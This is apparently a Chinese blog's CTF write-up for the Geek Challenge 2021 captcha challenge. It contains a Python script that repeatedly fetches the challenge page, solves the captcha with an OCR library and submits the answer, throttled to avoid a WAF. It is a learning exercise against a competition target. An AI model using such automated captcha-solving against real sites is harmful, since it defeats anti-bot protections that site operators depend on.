刷题笔记:[极客大挑战2021]验证码


前言

关键字:[验证码|ocr]

感谢@Hel1antHu5的指点。

题解

找不出key,所以只能跑验证码。

然后尝试百度ocr,成功率低的离谱。

还好@Hel1antHu5在github找出了个十分好用的验证码识别工具并写出了脚本。

import time

import requests
import re
from base64 import b64decode
import ddddocr
import onnxruntime

ocr = ddddocr.DdddOcr(use_gpu=True)
sess = requests.Session()
errorNumber = 0
onnxruntime.set_default_logger_severity(3)


def get_captcha_code(text):
    png = re.findall(r"<img src=data:image/jpeg;base64,(.*?)></src>", text)[0]
    with open("temp.png", "wb") as fp:
        fp.write(b64decode(png.encode()))

    with open('temp.png', 'rb') as f:
        img_bytes = f.read()

    res = ocr.classification(img_bytes)
    return res.lower()


def post_captcha_code(code):
    if len(code) != 4:
        return

    global errorNumber
    response = sess.post("http://110.42.233.91:88/access", data={
        "v_code": code
    })

    if response.text == "e":
        errorNumber = errorNumber + 1
    # print(response.text, errorNumber)


def get_number(text):
    try:
        result = int(re.findall("you have done (.*?) times", text)[0])
        if result > 999:
            print(text)
        else:
            print(f"[+] success {result}")
    except:
        print(text)


while True:
    response = sess.get("http://110.42.233.91:88/access")
    # print(response.text)
    get_number(response.text)
    code = get_captcha_code(response.text)
    print(code)
    post_captcha_code(code)
    time.sleep(1.2)

然后就是和机器比命长了。

跑太快容易触发waf。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录